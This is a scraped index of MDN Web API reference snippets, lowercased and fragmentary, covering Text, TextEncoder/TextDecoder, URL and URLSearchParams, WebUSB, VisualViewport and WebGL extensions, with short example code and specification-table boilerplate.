specifications specification status comment long tasks api 1the definition of 'taskattributiontiming' in that specification.
... working draft initial definition.
Text() - Web APIs
WebAPITextText
syntax text1 = new text(); // create an empty text node text2 = new text("this is a text node"); example let text = new text("test"); specifications specification status comment domthe definition of 'text()' in that specification.
... living standard initial definition.
Text.replaceWholeText() - Web APIs
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'text' in that specification.
... obsolete initial definition.
TextDecoder() - Web APIs
specifications specification status comment encodingthe definition of 'textdecoder()' in that specification.
... living standard initial definition.
TextDecoder.prototype.decode() - Web APIs
oder = new textencoder(); const array = encoder.encode('€'); // uint8array(3) [226, 130, 172] document.getelementbyid('encoded-value').textcontent = array; const decoder = new textdecoder(); const str = decoder.decode(array); // string "€" document.getelementbyid('decoded-value').textcontent = str; result specifications specification status comment encodingthe definition of 'textdecoder.decode()' in that specification.
... living standard initial definition.
TextDecoder.prototype.encoding - Web APIs
syntax var b = decoder.decoding; specifications specification status comment encodingthe definition of 'textdecoder.encoding' in that specification.
... living standard initial definition.
TextDecoder - Web APIs
specifications specification status comment encodingthe definition of 'textdecoder' in that specification.
... living standard initial definition.
TextEncoder() - Web APIs
specifications specification status comment encodingthe definition of 'textencoder()' in that specification.
... living standard initial definition ...
TextEncoder.prototype.encode() - Web APIs
ph.</p> <p class="result">encoded result: </p> const sourcepara = document.queryselector('.source'); const resultpara = document.queryselector('.result'); const string = sourcepara.textcontent; const textencoder = new textencoder(); let encoded = textencoder.encode(string); resultpara.textcontent += encoded; specifications specification status comment encodingthe definition of 'textencoder.prototype.encode()' in that specification.
... living standard initial definition.
TextEncoder.prototype.encodeInto() - Web APIs
this : self : global); source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder.encode()' in that specification.
... living standard initial definition.
TextEncoder.encoding - Web APIs
syntax b = encoder.encoding; specifications specification status comment encodingthe definition of 'textencoder.encoding' in that specification.
... living standard initial definition.
TextEncoder - Web APIs
else throw typeerror("illegal invocation");} }); } catch(e) { /*ie6-8 fallback*/ textencoder.prototype.encoding = "utf-8"; } if(typeof symbol!=="undefined")textencoder.prototype[symbol.tostringtag]="textencoder"; } source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder' in that specification.
... living standard initial definition.
TextTrack.mode - Web APIs
WebAPITextTrackmode
however, that means that if you wish to perform any actions involving the track's cues while handling, for example, the load event—in order to process some aspect of the cues upon page load—and the track mode was initially disabled, you'll have to change the mode to either hidden or showing in order to trigger loading of the cues.
... window.addeventlistener("load", event => { let trackelem = document.queryselector("track"); let track = trackelem.track; track.mode = "showing"; for (let index=0; index < track.cues.length; index++) { let cue = track.cues[index]; cue.pauseonexit = true; }; }); specifications specification status comment html living standardthe definition of 'mode' in that specification.
TimeRanges.end() - Web APIs
WebAPITimeRangesend
specifications specification status comment html living standardthe definition of 'timeranges.end()' in that specification.
... living standard initial definition ...
TimeRanges.length - Web APIs
WebAPITimeRangeslength
specifications specification status comment html living standardthe definition of 'timeranges.length()' in that specification.
... living standard initial definition ...
TimeRanges.start() - Web APIs
WebAPITimeRangesstart
specifications specification status comment html living standardthe definition of 'timeranges.start()' in that specification.
... living standard initial definition ...
TimeRanges - Web APIs
specifications specification status comment html living standardthe definition of 'timeranges' in that specification.
... living standard initial definition ...
Touch.clientX - Web APIs
WebAPITouchclientX
in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface.
... touch events recommendation initial definition.
Touch.clientY - Web APIs
WebAPITouchclientY
in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface.
... touch events recommendation initial definition.
Touch.pageX - Web APIs
WebAPITouchpageX
in following simple code snippet, we assume the user initiates one or more touch contacts on the source element, moves the touch points and then releases all contacts with the surface.
... touch events recommendation initial definition.
Touch.pageY - Web APIs
WebAPITouchpageY
in following simple code snippet, we assume the user initiates one or more touch contacts on the source element, moves the touch points and then releases all contacts with the surface.
... touch events recommendation initial definition.
Touch.screenX - Web APIs
WebAPITouchscreenX
in following simple code snippet, we assume the user initiates multiple touch contacts on an element with an id of source and then releases contacts with the surface.
... touch events recommendation initial definition.
Touch.target - Web APIs
WebAPITouchtarget
in following simple code snippet, we assume the user initiates one or more touch contacts on the source element.
... touch events recommendation initial definition.
TransformStream - Web APIs
specifications specification status comment streamsthe definition of 'transformstream' in that specification.
... living standard initial definition ...
TransitionEvent() - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionevent()' in that specification.
... working draft initial definition.
TransitionEvent.transitionName - Web APIs
syntax name = transitionevent.transitionname specifications specification status comment css transitionsthe definition of 'transitionevent.transitionname' in that specification.
... working draft initial definition.
TransitionEvent.elapsedTime - Web APIs
syntax name = transitionevent.elapsedtime specifications specification status comment css transitionsthe definition of 'transitionevent.elapsedtime' in that specification.
... working draft initial definition.
TransitionEvent.pseudoElement - Web APIs
syntax name = transitionevent.pseudoelement specifications specification status comment css transitionsthe definition of 'transitionevent.pseudoelement' in that specification.
... working draft initial definition.
TreeWalker.expandEntityReferences - Web APIs
syntax expand = treewalker.expandentityreferences; example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); expand = treewalker.expandentityreferences; specifications document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.expandentityreferences' in that specification.
... obsolete initial definition.
TypeInfo - Web APIs
WebAPITypeInfo
constants constant value derivation_restriction 1 derivation_extension 2 derivation_union 4 derivation_list 8 specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'typeinfo' in that specification.
... obsolete initial definition ...
sourceCapabilities - Web APIs
specifications specification status comment inputdevicecapabilitiesthe definition of 'sourcecapabilities' in that specification.
... draft initial definition.
ULongRange - Web APIs
specifications specification status comment media capture and streamsthe definition of 'ulongrange' in that specification.
... candidate recommendation initial definition ...
URL() - Web APIs
WebAPIURLURL
r exception as '/docs' is not a valid url new url('http://www.example.com', ); // => 'http://www.example.com/' new url('http://www.example.com', b); // => 'http://www.example.com/' new url("//foo.com", "https://example.com") // => 'https://foo.com' (see relative urls) specification specification status comment urlthe definition of 'url.url()' in that specification.
... living standard initial definition.
URL.hash - Web APIs
WebAPIURLhash
examples const url = new url('/docs/web/api/url/href#examples'); console.log(url.hash); // logs: '#examples' specifications specification status comment urlthe definition of 'url.hash' in that specification.
... living standard initial definition ...
URL.host - Web APIs
WebAPIURLhost
l('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition of 'url.host' in that specification.
... living standard initial definition ...
URL.hostname - Web APIs
WebAPIURLhostname
examples const url = new url('/docs/web/api/url/hostname'); console.log(url.hostname); // logs: 'developer.mozilla.org' specifications specification status comment urlthe definition of 'url.hostname' in that specification.
... living standard initial definition.
URL.href - Web APIs
WebAPIURLhref
examples const url = new url('/docs/web/api/url/href'); console.log(url.href); // logs: '/docs/web/api/url/href' specifications specification status comment urlthe definition of 'url.href' in that specification.
... living standard initial definition.
URL.origin - Web APIs
WebAPIURLorigin
examples const url = new url("blob:https://mozilla.org:443/") console.log(url.origin); // logs 'https://mozilla.org' specifications specification status comment urlthe definition of 'url.origin' in that specification.
... living standard initial definition.
URL.password - Web APIs
WebAPIURLpassword
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/password'); console.log(url.password) // logs "flabada" specifications specification status comment urlthe definition of 'url.password' in that specification.
... living standard initial definition.
URL.port - Web APIs
WebAPIURLport
examples const url = new url('https://mydomain.com:80/svn/repos/'); console.log(url.port); // logs '80' specifications specification status comment urlthe definition of 'url.port' in that specification.
... living standard initial definition.
URL.protocol - Web APIs
WebAPIURLprotocol
examples const url = new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification.
... living standard initial definition.
URL.revokeObjectURL() - Web APIs
specification specification status comment file apithe definition of 'revokeobjecturl()' in that specification.
... working draft initial definition ...
URL.search - Web APIs
WebAPIURLsearch
examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
... living standard initial definition.
URL.search - Web APIs
WebAPIURLsearch?q=123
examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
... living standard initial definition.
URL.searchParams - Web APIs
WebAPIURLsearchParams
let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchparams' in that specification.
... living standard initial definition.
URL.toJSON() - Web APIs
WebAPIURLtoJSON
examples const url = new url("/docs/web/api/url/tostring"); url.tojson(); // should return the url as a string specifications specification status comment urlthe definition of 'tojson()' in that specification.
... living standard initial definition.
URL.toString() - Web APIs
WebAPIURLtoString
examples const url = new url("/docs/web/api/url/tostring"); url.tostring(); // should return the url as a string specifications specification status comment urlthe definition of 'stringifier' in that specification.
... living standard initial definition.
URL.username - Web APIs
WebAPIURLusername
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification.
... living standard initial definition.
URLSearchParams.append() - Web APIs
params.append('foo', 4); //query string is now: 'foo=1&bar=2&foo=4' specifications specification status comment urlthe definition of 'append()' in that specification.
... living standard initial definition.
URLSearchParams.delete() - Web APIs
params.delete('foo'); //query string is now: 'bar=2' specifications specification status comment urlthe definition of 'delete()' in that specification.
... living standard initial definition.
URLSearchParams.entries() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
... living standard initial definition.
URLSearchParams.forEach() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // log the values searchparams.foreach(function(value, key) { console.log(value, key); }); the result is: value1 key1 value2 key2 specifications specification status comment urlthe definition of 'foreach() (see "iterable")' in that specification.
... living standard initial definition.
URLSearchParams.get() - Web APIs
ams = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification.
... living standard initial definition.
URLSearchParams.getAll() - Web APIs
specifications specification status comment urlthe definition of 'getall()' in that specification.
... living standard initial definition.
URLSearchParams.has() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
... living standard initial definition.
URLSearchParams.keys() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
... living standard initial definition.
URLSearchParams.set() - Web APIs
a ", "*/", "", "/* bla bla */", "", "// bla bla ", "", "these shouldn\'t work:", "console.log(\"http://foo.co.uk/\")", "var url = \"http://regexr.com/foo.html?q=bar\"", "alert(\"https://mediatemple.net\")", ] , true ) console.info( url, url.tostring() ) // window.open( url, 'regex_site' ) specifications specification status comment urlthe definition of 'set()' in that specification.
... living standard initial definition.
URLSearchParams.sort() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
... living standard initial definition ...
URLSearchParams.toString() - Web APIs
params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification.
... living standard initial definition.
URLSearchParams.values() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
... living standard initial definition.
URLUtilsReadOnly.hash - Web APIs
syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification.
... living standard initial definition.
URLUtilsReadOnly.host - Web APIs
syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification.
... living standard initial definition.
URLUtilsReadOnly.hostname - Web APIs
syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification.
... living standard initial definition.
URLUtilsReadOnly.href - Web APIs
syntax string = object.href; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/urlutilsreadonly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification.
... living standard initial definition.
URLUtilsReadOnly.origin - Web APIs
syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification.
... living standard initial definition.
URLUtilsReadOnly.port - Web APIs
syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification.
... living standard initial definition.
URLUtilsReadOnly.protocol - Web APIs
syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification.
... living standard initial definition.
URLUtilsReadOnly.search - Web APIs
syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification.
... living standard initial definition.
URL API - Web APIs
WebAPIURL API
url concepts and usage the majority of the url standard is taken up by the definition of a url and how it is structured and parsed.
... also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing ip addresses and dom addresses are specified.
USB.getDevices() - Web APIs
WebAPIUSBgetDevices
navigator.usb.getdevices() .then(devices => { console.log("total devices: " + devices.length); devices.foreach(device => { console.log("product name: " + device.productname + ", serial number " + device.serialnumber); }); }); specifications specification status comment webusbthe definition of 'getdevices' in that specification.
... draft initial definition.
USB.onconnect - Web APIs
WebAPIUSBonconnect
syntax usb.onconnect = connectfunction specifications specification status comment webusbthe definition of 'onconnect' in that specification.
... draft initial definition.
USB.ondisconnect - Web APIs
WebAPIUSBondisconnect
syntax usb.ondisconnect = disconnectfunction specifications specification status comment webusbthe definition of 'ondisconnect' in that specification.
... draft initial definition.
USB.requestDevice() - Web APIs
WebAPIUSBrequestDevice
" + e); }); specifications specification status comment webusbthe definition of 'requestdevice' in that specification.
... draft initial definition.
USB - Web APIs
WebAPIUSB
specifications specification status comment webusbthe definition of 'usb' in that specification.
... draft initial definition.
USBAlternateInterface - Web APIs
specifications specification status comment webusbthe definition of 'usbalternateinterface' in that specification.
... draft initial definition.
USBConfiguration.USBConfiguration() - Web APIs
specifications specification status comment unknownthe definition of 'usbconfiguration' in that specification.
... unknown initial definition.
USBConfiguration.configurationName - Web APIs
specifications specification status comment unknownthe definition of 'configurationname' in that specification.
... unknown initial definition.
USBConfiguration.configurationValue - Web APIs
specifications specification status comment unknownthe definition of 'configurationvalue' in that specification.
... unknown initial definition.
USBConfiguration.interfaces - Web APIs
specifications specification status comment unknownthe definition of 'interfaces' in that specification.
... unknown initial definition.
USBConfiguration - Web APIs
specifications specification status comment webusbthe definition of 'usbconfiguration' in that specification.
... draft initial definition.
USBDevice.deviceClass - Web APIs
specifications specification status comment webusbthe definition of 'deviceclass' in that specification.
... draft initial definition.
USBDevice.claimInterface() - Web APIs
async function connectdevice(usbdevice) { await usbdevice.open(); if (usbdevice.configuration === null) await usbdevice.selectconfiguration(1); await usbdevice.claiminterface(0); } specifications specification status comment webusbthe definition of 'claiminterface()' in that specification.
... draft initial definition.
USBDevice.clearHalt() - Web APIs
clearing.'); await device.clearhalt('in', 1); } } specifications specification status comment webusbthe definition of 'clearhalt()' in that specification.
... draft initial definition.
USBDevice.close() - Web APIs
WebAPIUSBDeviceclose
specifications specification status comment webusbthe definition of 'close()' in that specification.
... draft initial definition.
USBDevice.configuration - Web APIs
async function connectdevice(usbdevice) { await usbdevice.open(); if (usbdevice.configuration === null) await usbdevice.selectconfiguration(1); await usbdevice.claiminterface(0); } specifications specification status comment webusbthe definition of 'configuration' in that specification.
... draft initial definition.
USBDevice.configurations - Web APIs
specifications specification status comment webusbthe definition of 'configurations' in that specification.
... draft initial definition.
USBDevice.controlTransferIn() - Web APIs
specifications specification status comment webusbthe definition of 'controltransferin()' in that specification.
... draft initial definition.
USBDevice.controlTransferOut() - Web APIs
specifications specification status comment webusbthe definition of 'controltransferout()' in that specification.
... draft initial definition.
USBDevice.deviceClass - Web APIs
specifications specification status comment webusbthe definition of 'deviceclass' in that specification.
... draft initial definition.
USBDevice.deviceProtocol - Web APIs
specifications specification status comment webusbthe definition of 'deviceprotocol' in that specification.
... draft initial definition.
USBDevice.deviceSubclass - Web APIs
specifications specification status comment webusbthe definition of 'devicesubclass' in that specification.
... draft initial definition.
USBDevice.deviceVersionMajor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionmajor' in that specification.
... draft initial definition.
USBDevice.deviceVersionMinor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionminor' in that specification.
... draft initial definition.
USBDevice.deviceVersionSubminor - Web APIs
specifications specification status comment webusbthe definition of 'deviceversionsubminor' in that specification.
... draft initial definition.
USBDevice.isochronousTransferIn() - Web APIs
return value a promise that resolves with a usbisochronousintransferresult specifications specification status comment webusbthe definition of 'isochronoustransferin()' in that specification.
... draft initial definition.
USBDevice.isochronousTransferOut() - Web APIs
specifications specification status comment webusbthe definition of 'isochronoustransferout()' in that specification.
... draft initial definition.
USBDevice.manufacturerName - Web APIs
specifications specification status comment webusbthe definition of 'manufacturername' in that specification.
... draft initial definition.
USBDevice.open() - Web APIs
WebAPIUSBDeviceopen
specifications specification status comment webusbthe definition of 'open()' in that specification.
... draft initial definition.
USBDevice.opened - Web APIs
WebAPIUSBDeviceopened
let payload = new uint8array([r, g, b]); await usbdevice.controltransferout({ requesttype: 'vendor', recipient: 'device', request: 1, value: 0, index: 0, }, payload); } } specifications specification status comment webusbthe definition of 'opened' in that specification.
... draft initial definition.
USBDevice.productID - Web APIs
specifications specification status comment webusbthe definition of 'productid' in that specification.
... draft initial definition.
USBDevice.productName - Web APIs
specifications specification status comment webusbthe definition of 'productname' in that specification.
... draft initial definition.
USBDevice.releaseInterface() - Web APIs
specifications specification status comment webusbthe definition of 'releaseinterface()' in that specification.
... draft initial definition.
USBDevice.reset() - Web APIs
WebAPIUSBDevicereset
specifications specification status comment webusbthe definition of 'reset()' in that specification.
... draft initial definition.
USBDevice.selectAlternateInterface() - Web APIs
specifications specification status comment webusbthe definition of 'selectalternateinterface()' in that specification.
... draft initial definition.
USBDevice.selectConfiguration() - Web APIs
specifications specification status comment webusbthe definition of 'selectconfiguration' in that specification.
... draft initial definition.
USBDevice.serialNumber - Web APIs
syntax var serialnumber = usbdevice.serialnumber value the serial number for the specified usb device specifications specification status comment webusbthe definition of 'serialnumber' in that specification.
... draft initial definition.
USBDevice.transferIn() - Web APIs
specifications specification status comment webusbthe definition of 'transferin()' in that specification.
... draft initial definition.
USBDevice.transferOut() - Web APIs
specifications specification status comment webusbthe definition of 'transferout()' in that specification.
... draft initial definition.
USBDevice.usbVersionMajor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionmajor' in that specification.
... draft initial definition.
USBDevice.usbVersionMinor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionminor' in that specification.
... draft initial definition.
USBDevice.usbVersionSubminor - Web APIs
specifications specification status comment webusbthe definition of 'usbversionsubminor' in that specification.
... draft initial definition.
USBDevice.vendorID - Web APIs
specifications specification status comment webusbthe definition of 'vendorid' in that specification.
... draft initial definition.
USBDevice - Web APIs
WebAPIUSBDevice
specifications specification status comment webusbthe definition of 'usbdevice' in that specification.
... draft initial definition.
USBEndpoint - Web APIs
if (endpoint.type != "bulk") { continue; } if (endpoint.direction == "in") { inendpoint = endpoint.endpointnumber; } else if (endpoint.direction == "out") { outendpoint = endpoint.endpointnumber; } } } specifications specification status comment webusbthe definition of 'usbendpoint' in that specification.
... draft initial definition.
USBInTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbintransferresult' in that specification.
... draft initial definition.
USBInterface - Web APIs
specifications specification status comment webusbthe definition of 'usbinterface' in that specification.
... draft initial definition.
USBIsochronousInTransferPacket - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousintransferpacket' in that specification.
... draft initial definition.
USBIsochronousInTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousintransferresult' in that specification.
... draft initial definition.
USBIsochronousOutTransferPacket - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousouttransferpacket' in that specification.
... draft initial definition.
USBIsochronousOutTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbisochronousouttransferresult' in that specification.
... draft initial definition.
USBOutTransferResult - Web APIs
specifications specification status comment webusbthe definition of 'usbouttransferresult' in that specification.
... draft initial definition.
USVString - Web APIs
WebAPIUSVString
specifications specification status comment web idlthe definition of 'usvstring' in that specification.
... candidate recommendation initial definition.
VRStageParameters - Web APIs
} else { info.innerhtml = '<strong>display stage parameters</strong>' + '<br>sitting to standing transform: ' + stageparams.sittingtostandingtransform + '<br>play area width (m): ' + stageparams.sizex + '<br>play area depth (m): ' + stageparams.sizey } }); specifications specification status comment webvr 1.1the definition of 'vrstageparameters' in that specification.
... draft initial definition ...
VTTCue() - Web APIs
WebAPIVTTCueVTTCue
syntax vttcue = new vttcue(starttime, endtime, text); parameters starttime this is a double representing the initial text track cue start time.
...var cue = new vttcue(2, 3, 'cool text to be displayed'); specifications specification status comment webvtt: the web video text tracks formatthe definition of 'vttcue()' in that specification.
VideoConfiguration - Web APIs
} }; specifications specification status comment media capabilitiesthe definition of 'videoconfiguration' in that specification.
... draft initial definition ...
VideoPlaybackQuality.creationTime - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.corruptedvideoframes' in that specification.
... editor's draft initial definition.
VideoPlaybackQuality.droppedVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var percentelem = document.getelementbyid("percent"); var quality = videoelem.getvideoplaybackquality(); var droppercent = (quality.droppedvideoframes/quality.totalvideoframes)*100; percentelem.innertext = math.trunc(droppercent).tostring(10); specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.droppedvideoframes' in that specification.
... editor's draft initial definition.
VideoPlaybackQuality.totalVideoFrames - Web APIs
specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.totalvideoframes' in that specification.
... editor's draft initial definition.
VideoPlaybackQuality - Web APIs
specifications specification status comment media playback qualitythe definition of 'videoplaybackquality' in that specification.
... editor's draft initial definition.
VisualViewport.height - Web APIs
specifications specification status comment visual viewport apithe definition of 'height' in that specification.
... draft initial definition.
VisualViewport.offsetTop - Web APIs
specifications specification status comment visual viewport apithe definition of 'offsettop' in that specification.
... draft initial definition.
VisualViewport.offsetleft - Web APIs
specifications specification status comment visual viewport apithe definition of 'offsetleft' in that specification.
... draft initial definition.
VisualViewport.onresize - Web APIs
} specifications specification status comment visual viewport apithe definition of 'onresize' in that specification.
... draft initial definition.
VisualViewport.onscroll - Web APIs
} specifications specification status comment visual viewport apithe definition of 'onscroll' in that specification.
... draft initial definition.
VisualViewport: resize event - Web APIs
}; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
... draft initial definition ...
VisualViewport.scale - Web APIs
specifications specification status comment visual viewport apithe definition of 'scale' in that specification.
... draft initial definition.
VisualViewport: scroll event - Web APIs
}; specifications specification status comment visual viewport apithe definition of 'visualviewport events' in that specification.
... draft initial definition ...
VisualViewport.width - Web APIs
specifications specification status comment visual viewport apithe definition of 'width' in that specification.
... draft initial definition.
Visual Viewport API - Web APIs
offsetleft + 'px,' + offsettop + 'px) ' + 'scale(' + 1/viewport.scale + ')' }) } window.visualviewport.addeventlistener('scroll', viewporthandler); window.visualviewport.addeventlistener('resize', viewporthandler); specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
... draft initial definition.
WEBGL_color_buffer_float - Web APIs
examples var ext = gl.getextension('webgl_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga32f_ext, 256, 256); specifications specification status comment webgl_color_buffer_floatthe definition of 'webgl_color_buffer_float' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_astc.getSupportedProfiles() - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_astc'); ext.getsupportedprofiles(); // ["ldr"] specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_astc - Web APIs
(height + 11) / 12) * 16 29584 examples var ext = gl.getextension('webgl_compressed_texture_astc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_astc_12x12_khr, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_atc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_atc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_atc_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_atcthe definition of 'webgl_compressed_texture_atc' in that specification.
... draft initial definition.
WEBGL_compressed_texture_etc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_etc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba8_etc2_eac, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etcthe definition of 'webgl_compressed_texture_etc' in that specification.
... draft initial definition.
WEBGL_compressed_texture_etc1 - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_etc1'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_etc1_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_etc1the definition of 'webgl_compressed_texture_etc1' in that specification.
... draft initial definition.
WEBGL_compressed_texture_pvrtc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_pvrtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_pvrtc_4bppv1_img, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_pvrtcthe definition of 'webgl_compressed_texture_pvrtc' in that specification.
... draft initial definition.
WEBGL_compressed_texture_s3tc - Web APIs
atetexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tcthe definition of 'webgl_compressed_texture_s3tc' in that specification.
... recommendation initial definition.
WEBGL_compressed_texture_s3tc_srgb - Web APIs
xture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_srgb_s3tc_dxt1_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tc_srgbthe definition of 'webgl_compressed_texture_s3tc_srgb' in that specification.
... recommendation initial definition.
WEBGL_debug_renderer_info - Web APIs
lementbyid('canvas'); var gl = canvas.getcontext('webgl'); var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); var renderer = gl.getparameter(debuginfo.unmasked_renderer_webgl); console.log(vendor); console.log(renderer); specifications specification status comment webgl_debug_renderer_infothe definition of 'webgl_debug_renderer_info' in that specification.
... recommendation initial definition.
WEBGL_debug_shaders.getTranslatedShaderSource() - Web APIs
